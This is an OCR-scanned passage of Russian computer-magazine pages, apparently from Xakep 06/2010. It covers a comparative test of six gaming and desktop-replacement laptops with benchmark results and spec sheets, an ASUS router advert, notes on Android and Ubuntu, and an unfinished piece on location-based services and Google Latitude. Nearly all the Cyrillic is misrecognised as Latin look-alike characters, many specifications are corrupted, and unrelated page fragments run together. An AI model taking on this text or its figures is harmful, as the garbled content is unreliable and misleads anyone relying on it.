B n~KY 3aKpblTbiM paaoafiorxau Apple YaM6epc ra K)Ke YC"neHHO xaarurn B esoeM nOCTe npyri-e M06VlllbHbie ~C, B yaCTHOCTVl MHoro r ecruux enos nepenar o Ancrody OT Google. «JlVl4Ho s:J c06V1pafOcb nepeKfl fOYVlTbCs:J ua annaparu Ha 6a3e Android locofieuno MeHil V1HTepeeYfOT Andrcid-unauure r sr, <oropue ,o.Ofl>KHbl BblVlTIt1 B 3TOM ronyl VI boneu e He co6V1pafOCbY)J,ells:JTb TaK MHOro BHVlMaHIIIs:J TOMY, YTO CBs:J3aHO C iPhone», - nVlweT LJaM6epc.

no nO.QC4ETAM KOMnAH~~ CANONICAL, AKT~BHbIX UBUNTU-103EPOB Y}f{E 12 MnH. 4EnOBEK, Tor.QA KAK OCEHblO 2008 HAC4~TbIBAnOCbn~Wb 8 MnH .

Inspiring Innovation· Persistent Perfection

..-®

,....,

ro 6eCnpOBOAHOrO KOM¢1opTa

www.asus.ru

rOpH~aH flMHMH: 8-800-100-2787

1 He TpeayeT cneqManbHblX 3HaHMM!

6blcTpaH H3cTpoMKa 6ecnpoBoAHOM ceTM M Internet YT~n~Ta ASUS EZSetupl WPS Wizard - uacrpoasa 3all1~ll1eHHO~ 6ecnpoBoAHO~ ceT~ ~ lnternet-coennneuaa aa 2 M~HYTbl C npeAycTaHoBKaM~ AnH nposaanepoe oonee

~eM B 100 ropoaax Poccaa

2 KOM[flopTHaH CKOPOCTb AnH scex npMnO>KeHMM!~p J!

rpa[flM"IeCKaH HaCTpOMKa npMopMTeTOB ~ t*l .. ..

YAo6Hoe nepepacnpeneneuae W~p~Hbl kauana Me)!(AY TaK~M~ np~nO)!(eH~HM~, "~l4~

KaK ronocosue nporpaMMbl, ~rpbl, np~nO)!(eH~H, ~cnonb3YlOll1Me nOTOK~ aYA~o ~

~ B~Aeo, a raxxe FTP ~ P2P

~ ~.--.- ~ 3 YHMBepcanbHOCTb M [flYHKqMOHanbHOCTb!

-~ //.~;.. nOAKnlO"IeHMe USB YCTPOMCTB

. "'--"' .......... _~""\.._._, ....... n_Jl. 0 ASUS EZ File Sharing - n~~Hbl~ ceresof rpaan-cepsep C AocTynoM -epes Internet - • A ASUS EZ Printer Sharing - np~HT-cepBep AnH nOAAep)!(K~ oAHoBpeMeHHo~ ne~am ~ cKaH~poBaH~H

BceMMpHaH rapauas 2 rona

'.

RT-N13U

MHO rocjJYH K~~O Han bH bl ~ 6eCnpOB0I1HO~ MapwpYT~3aTop 802.11 N

sung F=L--. H .... P-P-a-vi-lIorr::n 80

I I dv6t

CHnA B M06HnbHOCTH

'avili Iv6t

I I Dell Studio 1515

TECH1POBAHHE MOWHblX HOYT6YKOB

Acer Aspil

r:-rr/n,..

J

HeCMOTpfl Ha TO, LITO HaCTonbHble KOMnblOTepbl 06na,qalOT MaCCOH npeHMy~ecTB, cero,qHfl ace 60nbwe H 60nbwe nlO,qeH npH06peTalOT HOYT6YK B xasectae He ,qononHHTenbHoro, M06HnbHoro, a OCHOBHoro KOMnblOTepa. KaKnpaBHno, MapwpYTTaKO rOHOYT6YKa3TO KBapTHpa - MaWHHa - panora H Ha060pOT. Cero,qHfl Mbl npOTeCTHpOBanH KaK paa TaKHe YCTpoHCTBa.

METOA~KATECT~POBAH~H

Ans:! npOBepKII16bICTpO,ll,ell1CTBlIIs:! Mbllt1CnOJlb30BamnplII rpynnu nporpa-n-. B nepayio BXOA"n" C"HTeT"4eCK"e 6eH4MapK" 3DMark' 06" PCMark Vantage. 80 BTOPYKJ rpynny nporpauv Bowen TeCT, BcrpOeHHbl1lt B apXI-18aTOp WinRAR, neMOHCT~VlpylOW.lIIiIl HaM CKOPOCTb paboru CBs:l3KIII «npou,eccop + naMI=ITb», a rakxe nporpanua SuperPi. cepsesuo uarpyxacutaa ClI1creMY BbI4V1CneHt.1eM 4l11CJla «nll1» CT04HOCTblO,ll,OABYX MlI1JlJlll10HOB3HaKOB nocne 3a nsro ill [MbIIl1CnOJlb30BaJlll1lt1MeHHD sror napaverpl Tpersio rpynnYCOCTaBlI1Jl1ll6eH4MapKlI1, scrpoe-n-ue B II1rpbl: COBpeMeHHble lI\ «pacusue nplt1JlO)f(eH11151 Resident Evil 5 lI1 Tom Clancy's H.A.WX Bee recru npoBo,QII1JlIl1Cb nplll patiore KaKOTCeTlI1, T3K III OTaKKYMyn51- Tapa. TaKotll aa>KHbltl1 napauerp KaK BpeM)=! paforu or barapea Mbl npOBep5lI1111

C ncnounso nporpaMMbl Battery Eater Prov2.70. Bce IIICCI1e,.o,OBaHIII$=l nposo,.o,lI1I1I!1Cb C I!1cn0I1b30SaHlI1eM cxeMbl nltnaHlII$=l Balanced [c6anaHclIIpoaaHHbltl1l. CTOI!1TOTMeTlI1Tb, 4TOTeCTbi PCMark Iacex aepcllllli] caMW no ce6eTaK>Ke 5lSnS1IOTC5l cBoeo6pa3HbiM ltICnblTaHltIeM HaAJIIllTenbHocTbaBToHoMHOili paboru BBltI,.o,YToro, 4TO OHlII npOXOAs:lT04eHb,lJ,0I1ro [npaKTIII4eCKlII4ac], nplll3ToM cepsesao HarpY)I(as:l BClOclIIcTeMY. 8 3ToTpa3 C PCMark Vantage cnpasnnncs BceyYaCTHlI1KIIITeCT(..1pOBaHV1S1, HO paHbwe np(..1TeCTaX Hoyr6yKOB LJaCTO cny-ranoce. YTO pecypca 6aTapelll YCTpOtl1CTBa He XaaTaI10, YTo6bl BblnOflHIIITb TeCT ,.0,0 KOHu,a.

TEXHonor~~

OCHOBHblMltI OTI1lt1YIII$=lMI1 MOW,HbIX Hoyr6YKOB, <oropue 1113-3a lIIX ra6ap'ATOB cnoxHO Ha3BaTbB nOI1HOtl1 Mepe M06lt1I1bHb1MIII KOMnblOTepaMII1, OT(..1XAeIl1CTBlIITeI1bHO ne xo'rpaucnoprapyer-nsx c06paTbeB$=l8I15-lIOTCR, nOM(..1MO paavepoe. MOllJ,Hble KOMnOHeHTbl. B 4aCTHOCT!t13TO BIII,.o,eonOAC(..1CTeMa, koropas BnOI1He noaaonser II1rpaTb B cOBpeMeHHble II1rpbl, 4TO III ,.o,oKa3anV1 HawV1 recru. KOHe4HO, He CTOIl1T paCCYIIITblBaTb Ha caMble xpyrue HaCTpOtl1KII1 B HoselliweM wyrepe, HO Bce-TaKII1 3TO HeYTO Hd nOps:I,lJ,OK npeBOCXO,lJ,51w,ee CTaH,QapTHble HOyrbl, 8 KOTOPblX aa-racryio lIICn0I1b3yeTcH scrpoeuuoe rpaq,1II4eCKoe peweHlIIe. 06paTHoll1 CTOPOHOili MOW,HOCTII1I11,Qon0I1H51IOw,etl1 ee60I1bW0tl1 ,lJ,lI1aroHaI1I11,lJ,(..1CnJ1e5151BJ151IOTC5160J1bWII1€ rafiaparu. HeMaI1blll1 sec 111 BblCOKOe 3HepronOTpe6I1eHllleYCTpot;1CTBa, <oropoe noauuiaeruarpea n YMeHbwaeT speMR aSTOHOMHOtl1 paboru. C O,[lHOtl1 CTOPOHbl, 3TO He O'-leHb 60I1bWV1e He,o,OCTaTKIII, eCI1I11Y4eCTbTO, 4To,.o,aHHbleYCTpoiliCTsa B OCHOSHOM IIICn0I1b3YfOTCR SMecTO HaCTOI1bHbIX KOMnbIOTepOB, a He KaK Mo6V1I1bHble, C,lJ,pyrolli CTOPOHbl, I1106oMY, Hoyr6YKY MO.>KeT 6blTb npanercs paforars aBTOHOMHO, s aopore. 1I13TII1 MOMeHTbl HY>KHOY4lt1TbJSaTb.

~ 016

BATTERYEATER

Toshiba Oosmto Xsnn

5amsung R580

MSIGT729

H P Pavilion dv6

DellStudio1515 Acer Aspire 5740G

• cr darape«

20 40 60 80 100 120

MIo1HYTbl ltiom.ure-ny-rurel

Jly-uuee BpeM~ aBTOHOMHO. pa60Tbi nokaaan MSI GT729. npa 3TOM OH 06eCne'"llJlBaeT BeCbMa BblCOKYKl npOlJl3BOAlJITenbHOCTb

Toshiba Oosmio X500

TOM CLANCY'S H.A.W.X.

Samsung R580

MSIGT729

HP Pavilion dv6

Dell Studio 1515 Acer Aspire 5740G

• OTCeTI1 • or fiarapea

o 10 20 30 40 50 60 70 80 fps lfionsure-nycure]

Haafionsuiee "~CIIO Ips 6blll0 3acjl~Kc~poBaHO Ha HP Pavilion dv6. npa'"IeM npocanxa npa paficre OT 6aTapeH 6b1na He cnHWKOM 3Ha'"llHenbHafi

XAKEP 06 /137/10

SUPERPI

Toshiba Oosmio X500

Samsung R580

MSIGT729

HP Pavilion dv6

Dell Studio 1515

Acer Aspire 5740G

or Sarapea

a 10 20 3D 40 50 60 70 80 90 100 fps [60JlbWe-IlY4we]

• or cera

Kaaanocs 6bl, ~ B 3TOM Teele AOl1>KeH 6bl11 BblHrpaTb narrron c caMblM HOBblM npoueccopon, OAHaKO SuperPi - oAHonOTo~Hblil TeCT, ~ ryr ace onpenenser raaroaaa '"IaCTOTa

ACER ASPIRE 57406

TEXH~~ECI{~E XAPAI{TEP~CT~I{~:

npOIlECCOP, rru. 2.1, INTEL CORE 13~330M nAMSlTb, rs, 3

AIo1CnllEH: 156, 1366X768

BIo1AEOKAPTA, ME: 512, ATI MOBILITY RADEON HD 5470 >KECTKIo1HAIo1CK, rs. 250

OnTIo14ECKIo1H npIo1BOA: DVD SUPER MULTI DL CPEACTBACBSl3101: MOAEM, GIGABIT LAN, BLUETOOTH, WI~FI 80211 B/G/N

Io1HTEP<IlEHCbl:4XUSB, 1X HDMI, VGA, SO, MMC, XD, MS, MS PRO, SI PDIF, MIC, EAR

rAEAPIo1Tbl, MM: 383X250X26-37 BEC, Kr: 2.8

••••••• 000

+

OTKPblB KPbIWKYYCTpO"CTBa, Mbl yB"ge~" Be6~KaMepy, 6mK ~"¢pOBbIX KnaBI!1W Ha «naauerype. HeCKOflbKO ,D,onOflHlt1TeJ1bHbIX KHonOK ill ra-rr an. oCHaw,eHHblt;1 m1HVleill npoxpyrka. npV1SHHble oopnpnau HaYVlHalOTCI1 cpasyl Ta-man HeCKOIlbKO cMew,eH sneao, HO K 3TOMY MO>KHO 6blCTPO npVlBbIKHYTb. 5nOK lJ,VlCPPOBbIX KnasVlW npnnercs no axycy re«. KTO npOBO,D,lt1T MHOro SpeMeHI-13a CKYLJHblMItl oqmcHblMV1 nporpaMMaMVI, BblCOKaSi npouaaornrrensHOCTb 1Il6onbwoe BpeMs:! aBTOHOMHOVI paborst=- sootiuie sce«. a KpaOfBO nO,ll,CBe4eHHas:! KHonKa BKnI04eHI-ls:! ycr anur 3CTeTOB.

-

A BOT OTCYTCTBV1e passeva DVI V1nV1 H OMI Hac HeCKonbKO paso-raposano. nO,ll,KIlI04I1lTb BHeWHV1V1 MOHV1TOP I-lnltl npcexrop MO>KHO ronsxo -iepes nopr O-Sub. HanWH-1e MO,ll,eMa - BeCbMa cnopnce peuieane. Se,ll,b BMeCTO Hero MO>KHO 6blno YCTaHoBVlTb He4TO bonee none.seoe VI cospeMeHHoe.

XAKEP 06 /137/ 10

WINRAR

Toshiba Oosmio X500

Samsung R580

MSIGT729

HP Pavilion dv6

US' 15'

1-

DeLL Studio 1515 Acer Aspire 5740G

500 1000 1500 2000 2500

1<6/c lbonsure-nyqurel

OT fiarapea

• or cerv

APX~B~poBaH~e B WinRAR CYl1leCTBeHHo HarpYlKaeT CPU HOYT6YKa 11 nofieAI1Tenb o~eB~AeH - Toshiba Qosmio xsoo, OCHal1leHHblH HOBeHW~M InteL Core i7

DELL STUDIO 1515

TEXH~~ECH~E XAPAI{TEP~CT~I{~:

npOIlECCOP, rru. 2, INTEL MOBILE CORE 2 DUO T6400 nAMSlTb, rs. 2

AIo1CnllEH: 15.6, 1280X800

BIo1AEOKAPTA, ME: 512, ATI MOBILITY RADEON HD 4570 >KECTKIo1H AIo1CK, rs. 150

OnTIo14ECKIo1H npIo1BOA: DVD SUPER MULTI

CPEACTBACBSl3101: GIGABIT LAN, BLUETOOTH, WI~FI802.11 BIGIN Io1HTEP<IlEHCbl:2XUSB,VGA, 1XESATA, 1XHDMI, 1XMINI FIREWIRE, EXPRESSCARD, SO, MMC, MS, MS PRO, MIC, EAR

OnEPAlI1010HHASI CIo1CTEMA: WINDOWS VISTA HOME BASIC rAEAPIo1Tbl, MM: 371X252X30

BEC, Kr: 2.7

••••••• 000

+

KHonKa BKnI04eHI-ls:! pa3Mew,eHa C60KY, TaK LJTO npunerca HeKOTopoe BpeMs:! nOVlCKBTb ee Ha TOHKOM kopnyce ycrpoacrea. nepl-lMeTp «opnyce 3aHs:!T nopTaM~ " pa3beMaMw: KpOMe craunapruux TaM np"cyrCTBYIOT eSATA, H OM I V1 mini FireWire. OCHaw,eHHbli.1 XOPOWIIlMVlI<oMnoHeHTaMl-1, ,ll,aHHbli.1 HOYT6YK noxasan seCbMa BblCOKlile pe3ynbTaTbi BO acex uaun-x recrax. Ocofieuuo OH OTIlIll4l-1IlCs:! B I-1CnblTaHVIVI Ha ,ll,IlVITenbHOCTb paboru or fiarapen. nponepxasWIIlCb 60nee 100 MIllHyr. nO,ll, KPblWKOlIl Hac >K,ll,yrTaKllle npllls:!THble Men0411l KaK web-xauepa \.1 xnaanarypa C KHonKaMVl CTaH)J,apTHOIQ, a He YMeHbweHHoro pas-tepa.

-

BHeWHI-1V1 BillA HOYT6YKa He ornavaerca OpV1rI-1HaIlbHOCTblO.,aa III Ha60p IIlHTep¢eikoB He caMblVl6oraTblVl, HanpVlMep, pa3beMoB USB 3,ll,eCb scero ,ll,Ba TaK>Ke 6blIlO 6bl HenlllWHIllM HaIl III 4 Vle nopros HOMl IIlnlll OVI.

~ 017

LJ

Samsung R580

HP PAVILION dv6t

TEXHI1YECKI1E XAPAKTEPI1CTI1KI1:

npOUECCOP, rru. 1.6, INTEL CORE 17-Q720~ nAMI1Tb, rs. 4

AI1CnllEVI: 15F, 13660768

BI1AEOnllATA, M6: 1024, NVIDIA GEFORCE GT230~ >KECTKI1V1 AI1CK, rs. 250

OnTI14ECKI1V1 npI1BOA: DVD SUPER ~ULTI DL

CPEACTBACBI1311: GIGABITLAN, BLUETOOTH, WI-FIB02.11 B/G/N, IRDA I1HTEP<l>EVlCbl:4X USB, VGA, 1X HD~I, 1X ESATA [COB~ELl1EH C USB], ·IX ~INI FIREWIRE, SO, ~S, ~S PRO, ~~C, XD, ~IC, EAR, nOPT ):1Jl~ ):10KCTAHL\V1V1, EXPRESSCARD

OnEPAUl10HHAl1 CI1CTEMA: WINDOWS 7 HO~EADVANCED rA6APl1Tbl, MM: 258X35BX37

BEC, Kr:3

••••••• 000

+

CTli1nbHblllJ Hoyr5YK uefionsuioro paauepa. Ho He CT0(.1TC4V1TaTbero tiecncneaHO~ Man51BKOVt, T3K KaKY Hero ecrs Macca CPYHK~V10HanbHbIX nnIOCOB: nOJlHbliii Ha60p KOMMYHVlKalJ,1I10HHbIX YCTPOVtCTB, WV1KapHbIVt Ha60p l.:1HTepcpeikoB, 6nOK lJ,\I1CPPOBbIX xnaenur. «oropue nopanyor rpynoronaxce. BHyrPl!! CKPblTblBeCbMB V1 BeCbMa HennOXlI1e KDMnOHeHTbl, 4TO nOATBep>KAaIOT HawVl TeCTbl. Ila, 3TO

He ¢eHOMeHanbHal=! CKOPOCTb, HO SnOJlHe npwm14Hbie noxasarenn, n03TOMY MO>KHoyrsep>K)J,BTb, 4TO pa60TB C 60JlbW\I1HCTBOM 3ap,a4 111 npV1JlO)KeHVl1l15y,n,eT KOM<popTHa. npIllSHHbIM)J,onOJlHeH!I1eM CTaHeTOTAenbHO nponaouiasca AOKCTaHLJ,lt1s:!, o5na,.o.alOw,as:! MHO>KeCTSOM nonesuux nopros.

-

CaMbl~ rnaaHbl~ He,lJ,OCTaTOK ,o,aHHoro HOYT6YKa - Manoe apeu a aSTOHOMHO~ pa60TbJ. KaK noxaaano Hawe TeCTVl pcaa-uie, no 3TOMY napaMeTpy ,.o.aHHas:! MO,lJ,enb nnererca a XBOCTe . .o.a lt1 OTCYTCTBltle VlHTep¢eVica HOMI TaK>Ke He VlAeT eMY a nruoc.

~ 018

I I OWIYI'" I I Dell Studio ~ 1515 L_

MSI GT729

TEXHI14ECKI1E XAPAKTEPI1CTI1KI1:

npOUECCOP, rru. 2.53, INTEL CORE 2 DUO P9500 nAMI1Tb, rs. 4

AIiICnllEVI: 17, 1680X1050

BI1AEOnllATA, M6: 1024, ATI ~OBILITY RADEON HO 4850 >KECTKI1V1 AI1CK, rs. 300

OnTI1YECKI1V1 npI1BOA: BD-RO~

CPEACTBACBI1311: MO):1EM, GIGABIT LAN. BLUETOOTH, WI-FIB02.11 B/G/N

I1HTEP<l>EVlCbl: 3X USB, 1X MINI FIREWIRE, 1X ESATA. 1X HD~I, VGA, SO, PC~CIA, ~IC, EAR

OnEPAUl10HHAl1 CI1CTEMA: N\A

rA6APl1Tbl, MM: 395X278X2.,.5-35

BEC,Kr:3.2

••••••••• 0

+

OT a66peBVlaryPbl GT aeer ckopocreio. n03ToMY kopnyc SblnOJlHeH a LJ,seTOBOlli cxesre «KpaCHOe lt1 Kap50H». non Hoe COOTseTCTBlIIe cnopTIIIBHOMY asTOM06I11nlO: non KPbIWKOIl1-KanOTOM pa3Mew,eHbl MOW.Hbl~ ,.o.BIII>KOK III ,lJ,pyrllle KOMnOHeHTbl, «oropue n03aO,1s:!fCT OTflw.jHO npOBO,lJ,I!1Tb BpeMs:! KaK B npofixax VI rpaccax C orpaHVl4eHHoili CKOPOCTblO, TaK VI i-a asrobaxax. 60JlbW0ll1 ,lJ,VlCnneili OTnVl4HO nOAO~,lJ,eT KaK ,ll,Jls:! pafioru [He Hy>KHO nVlCTaTb crpauvus.]. TaK Vl AJlR Vlrp [5e3 KOMMeHTapweB]. nplIIs:!THblM ,o,ononHeHVleM 6y,n,eT ,Ll,IIICKOBOA Blu-ray - naxo ecnn 111M noxa He nonsaoearscs. TO Y>Ke MO>KHO noxaacrerscs. V1 TeCT aBTOHOMHOVi pafioru - 0 HeM Henb3R He CKa3aTb, TaK KaK npOIl1,Ll,eH OH 6bln Ha OTJlVl4HO

-

Yganocb eMY 3TO, npasga, aa C4eT 60JlbWoili 6aTapeVl, Bblnlt1palOw,eIl11113 KOpnyca. nOCKOJlbKY K HaM B nafioparopmo nonan IIIH>KeHepHblll1 C3Mnn - ua HeM He fiuno YCTaHoBneHo DC. A BOT np1ll4111HY, no «rropoa 6eH4MapK PCMark Vantage He ablgan peaynsraros recrapoaaaas. abls:lCHltlTb He yganOCb.

XAKEP 06 /137/10

SAMSUNG R580

TEXHI14ECKI1E XAPAKTEPI1CTI1KI1:

npOL\ECCOP, rru. 2.53.INTEL CORE 15-540M nAMllTb, rl5: 4

AI1CnnE~: 156. 1366X768

BI1AEOnnATA, Mo: 1024, NVIDIA GEFORCE GT330M >KECTKI1~ AI1CK, rs. 500

OnTI14ECKI1~ npI1BOA: DVD SUPER MULTI OL

CPEACTBACB1l311: GIGABITLAN, BLUETOOTH, WI-FIS02.11 B/G/N I1HTEP<I>E~Cbl: 4X USB, USB SLEEP-AND-CHARGE, 1X HOMI, 1X ESATA (COBMEil1EH C USB), SO, SOHC, MMC, VGA, EXPRESSCARO, MIC, EAR, OnEPAL\110HHAll CI1CTEMA: WINDOWS 7 PROFESSIONAL

rAoAPI1Tbl, MM: 35SX264X2S.6-36.5

BEC, Kr: 2.7

•••••••• 00

+

04€Hb CTII1JlbHblVi TOHKI-1V1 kopnyc 3TOro HOYT6YKa, Ha KOTOPOM He OCTaeKs:I OTne4aTKOB nansuea, 6YAer npnanekar s BHlI1MaHlII€ VI K era anaaensuy TaK I.1TO eClll!1 rebc Hy>KHbl BOCTOp>KeHHble B3rn~Abl, TO 3TO YCTPOIllCTBO Te6e nOA~ xonur. HawlII recru noxasanu. 4TO KpOMe CTI!1JlbHOCH1 OH ew,e 111 ,lJ,OCT3TOYHO 6bICTP, a Ham1YII1e web-xavepu. 6nOKa LJ,l:1CPPOBbIX KJlaSlt1W \11 nom-oro KOMMYHlI1KaLJ,lI10HHoro uabopa TOHKO H3MeK3€T H3 <PYHKLJ,l!10HaJlbHOCTb YCTpoVlCTBa. 04eHb VlHTepeCHOVI oco6eHHOCTblO T3K>K€ Smns:leTCs:l B03MO>KHOCTb nonaaps>KaTb pa3m14Hbl€ YCTPOVlCTS3 -repes oco6blVi USB-napT ,lJ,a>K€ KOr,lJ,3 HO~'T6YK BbIKJlf04eH.

-

Pesynsraru BpeMeHVI aBToHoMHolli paboru He caMble Bbl,lJ,aKJw,Vlec):! Cpe,lJ,V1 npOTeCTli1pOB8HHbIX MO,lJ,ene~. TaK:>Ke K He,QOCTaTK8M cnenyer oruecrn OTCyTCTB"e nopra HOM I.

[p p:Vilm

dv6t

Acer Aspire 5740G

TOSHIBA QOSMIO X500

TEXHI14ECKI1E XAPAKTEPI1CTI1KI1:

npOL\ECCOP, rru. 173, INTEL CORE 17-QS20 nAMllTb, Mo: 4

AI1CnnE~: lS4 1920X10S0 BI1AEOnnATA, Mo: 1024, NVIOIAGEFORCE GTS 250M >KECTKI1~ AI1CK, rs. 2X320

OmI14ECKI1~ npI1BOA: DVO SUPER MULTI CPEACTBACB1l311: LAN, BLUETOOTH. WI-FIS02.11 B/G/N I1HTEP<I>E~Cbl:3XUSB, 1XESATA.1XHOMI, 1XMINI FIREWIRE, EXPRESSCARD, SO, MS. XD, VGA, MIC, EAR

OnEPAL\110HHAll CI1CTEMA: WINDOWS 7 ULTIMATE rAoAPI1Tbl, MM: 442.6X294.2X41.5

BEC, Kr: 4.6

••••••••• 0

+

3TOT Hoyr6YK ocuauieu caMblM 60JlbWV1M ,lJ,l-1CnneeM B HaweM TeCTe - 18,4 ,ll,fO~Ma! KpOMe roro, OTKpblB KPbIWKy. Mbl BVI,QIIIM 04eHb 01MnaTVIllHYfO xnasaarypy C nO,QCBeTKoi.1, 6noK lJ,VlCPPOBbIX KHonoK, a TaK:>Ke ceucopuyro naHeJlb C ,QonOflHIIITenbHblMIll KJlaBV1waMVI. ,LJ,aJlbHei.1wee HanOMVlHaeT KPYTO(1 rpunnep yCTpO~CTBO oc+rauieuo CKaHepOM OTne4aTI<OS nansues III CIllCTeMOI~ pacno3H8saHIIls:! nnua, TaK 4TD 6e30naCHOCTVI TYTY,QeneHo HeMano BH!IIMa~ Hill):!. He 3a6blTbllll !IIHTepcpeikbl, nOpTOS!II pa3beMoB H3 kopnyce Macca, a TaK:>Ke npOIll3S0,lJ,VlTenbHoCTb: MOUJ,Hble KOMnOHeHTbl Bbl,lJ,anVi cooTseTcTBYIOUJ,1-111t pesynsrar.

-

l!.1raHTCKlIIe ra6ap!.1Tbl3TOIO HOYT6YKa MHOr!llM MOryl He nOHpaB!.1TbC$1. V!LJTO paccrpauaaer - OT 6aTapelll Hoyr6YK pafiorae r 4yTb 60JlbWe -raca. K HaM nOnanlllH:>KeHepHbl~ ofipaaeu 8V1A!IIMO n03TOMY Mbl He CMOrnl!1 nonY4VlTb KOHeYHbli.1 pesynsrar 8 TeCTe PCMark Vantage.

V1TaK, nepBblM B H8weM TeCTe 01<83811C$1 MSI GT729, co6paHHbl~ Ha 6a3e OTn~YHbIX KOMnOHeHTOS, B 41-1CnO KOTOPblX BXO,lJ,!IIT \11 npnao.a Blu-ray. B XO,lJ,e TeCTOS 3Ta MOAeJlb

npO,D,eMOHCTp!llpOBa11a OTm14Hbie peaynsraru. 06paTlII BHVlM3H!IIe ua Toshiba Oosmio X500-

3a 4TO Vl6blna yno crce+a uar pancu «Bubcp KpoMe u,eHbl, npe auu.atouief CTOVlMOCTb)J,BYX

penakuun». HOYT6YK Samsung R580 no ny-raer BMeCTe B3SHbiX cero)J,HS1WH!IIX no6e)J,!IITe.nel:1

uarpauy «JlY4W8$1 noxynka» aa yMepeHHylO (,o,a!ll npaKTII1LJeCKII1 .uofior o HaCTOJlbHOrO nKI, y

u,eHY VI xopowo c6anaHC!IIpOBaHHbie KOMnJleK- sroro YCTPOVlCTB3 np8KTVlLJeCKVl HeT He,LJ,OCT8T-

TyKJUI,\I1e. Ec.nl-1 Tbl He CTeCHeH B cpenc raax. TO KOB.:X:

BblBOllbl

~ 019

XAKEP 06 /137/10

•• Crenae «Step» \I1J1bl-1H slepfCIgLc_ru

lBS-cepBMCbl, MnM 3aLleM B Tene[jloHe

GPS?

Ha LITO CnOC06Hbi CepBMCbl, OCHOBaHHble Ha MeCTOnOnO>KeHMM a60HeHTa

Euie He TaK ,naBHO Mo,nynb GPS 6bln OTmt4HTenbHOH 4epTOH rennasn Mo,neneH CMapTtjlOHOB, a caaa TeXHonorHH Hcnonb30BanaCb TonbKO B HaBHraUHOHHblX npo,nYKTax. Cero,nHH 4Hn ,nnH Bbl4HcneHHH Koop,nHHaT C nOMOmblO cnYTHHKOB BCTpoeH B nlO6oH cpe,nHHH cMapTtjloH, a B03MO}f{HOCTb Y3HaTb MeCTopaCnOnO>KeHHe a60HeHTa OTKpblna nyTb ,nnH C03,naHHH HeManoro KOnH4eCTBa none3HbiX cepBHCOB.

K orna -ienoae« Bbl6\1lpaeT 60nee AeweBbl!;; eMapTq,oH 6e3 GPS ror sxo nOToMY, YTO Y Hero HeT MaWVlHbl VI HaS\IIrall,lMl eMY He HY>KHa, OH CVlnbHO He npas. Ha caMOM nene OH orxaasaaer ce6e B Y,IJ,OBOnbCTBI!1VI OKa3aTbC$1 Ha rpefiue BonHbl. BMeCTe C Y,IJ,eWeSneHVleM CaMYlX MO,lJ,yne~ GPS Mbl nonY4\11nVl ew,e O,l],I!1H Ba>KHbl~ 60HYCHopManbHo pa60TalOUJ,Vl~ M06\11nbHblt1 \IIHeT. 80 tviHOrVlX roponax CTpeMl-1TenbHO pa3BOpa41t1Sa1OTCs:! CeT\II 3G, a COTOBble oneparopu nOManeHbKY

~ 020

npennaraior 6e3flVlMVlTHbie TapVlcpbl. B CBs:!3Ke VI,IJ,eT B03MO)KHOCTb eccrna OCTaSaTbCs:l online,

a ,IJ,aHHble a T04HOM pacnonoxe+uia n03S0ns:lIOT \I1CnOflb30saTb coape-reuuue Location Based CepSII1Cbl. Bnpo-re«. MHorVie \113 HV1X MO>KHO 103aTb " 6e3 GPS.

LJTo6bl nonYllVlTb ,IJ,VlCTPIl16yrI!1B, nO,lJ,XO,lJ,$1UJ,Vlw ,lJ,n51 nnaTq,opMbl, npsvo C reneooua B M06"nbHOM 6pay3epe 3aXOA" Ha www.google.eom/latitude. LITO nansuie? T bl nonY4V1Wb nocryn K Y>Ke crasurea PO,lJ,HOW xapre OT Google, Ha KOTOpO~, nOM\IIMO seero npovero. n051BVlTGI HOBbliil o6beKT - 51pnblYO'( e TSOVlM pacnonoxeuuev. )J,06asb ,lJ,PY3ew, «oope.e TaK>Ke YCTaHOSVlflt.1 3Ty nporpaMMy, VI 6Y,ll,eWb Bt.1AeTb, rne B TeKYUJ,Vl~ MOMeHT Haxo,IJ,s:nes:! 01-1\.1. Bee paboraer OyeHb 4eTKO, -iero y>K TaM - ace-rakn GPS. Ho Ha,IJ,O BVI,lJ,eTb nwua rex

GOOGLE J10KATOP

Cneu,cny>t<6bl MOryr HaWTVl -renoaexa no curaany OT era M06V1J1bHII1Ka. T bl TO>Ke Mo>t<eWb, HO TOflbKO ecnu Bbl 06a ucnonsayere Google Jlokarop.

XAKEP 06 /137/ 10

Bound for SFO! Nerdbird is go. #sxsw

""""·C"""",""'9".-w>"·,."""'!o"r~"", .... "" .. ",,,,,,,, ... "''''''

IIJ'j netik

tJiIi John Adorn.

reOTer B Twitter'e n03BOnSleT 0603Ha'UtTb MeCTD, OTKYAa Tbl ornpaanaeurs TBI1T

nonsaoaarenea. korops.e IllJ1LJ,e3pefOT Ha 3KpaHe CBOe ,D,OBOIlbHO TOLlHOe MeCTOpaCnOIlO>KeHlI1e,

XOT5=! HVlKaKlIIX HaSI!1raLl,It10HHbiX npVl6JlYA Y HVIX He 6blflO VI 8 nOMII1He! B p,eillCTBVlTeJlbHOCTVl MHO-

c"e LBS-cepB"Cbl MOryr peborars " 6e3 GPS, onpenenas KOOPAl:1HaTbl no 6a30BbiM CTaHLl,V1I1M, <oropue H3XO,lJ,$1TCQ n06JlVl30CTV!, 111 ,o,a>Ke no Wi-Fi TDYKaM Aonyna !LJI,na(1 nOAPo6Hee 80 spe3Kel. )i AOBOJlbHO 6blCTPO carnntpcean ,o,ecsnOK APY3eVi, xoropue CTaJlVl aKH1BHO nOJlb30SaTbCS1 nporpavNOVI. nOHayany 3anYCKaTb It1 CMorpeTb, KTD rne eCTb, V1 KTD ecrs pq,.o.OM. 5blflO npVJKoflbHO, napy pas naxe nony-ranocs TaKV1M o6pa30M BCTpeTIt1Tb(1=1 B roprosou KOMnneKce. Ho OyeHb CKOPO crane nOHSHHO, YTO sa KapToVi nOCTOs:!HHO He ycnennurs. a ecnV1 TaK, TO HV1KaKOIQ tonka. KpOMe epaHa, OT lt1CnOnb308aHlt1s:! Tbl He nOJlYYVlWb. Ho TYT peba-

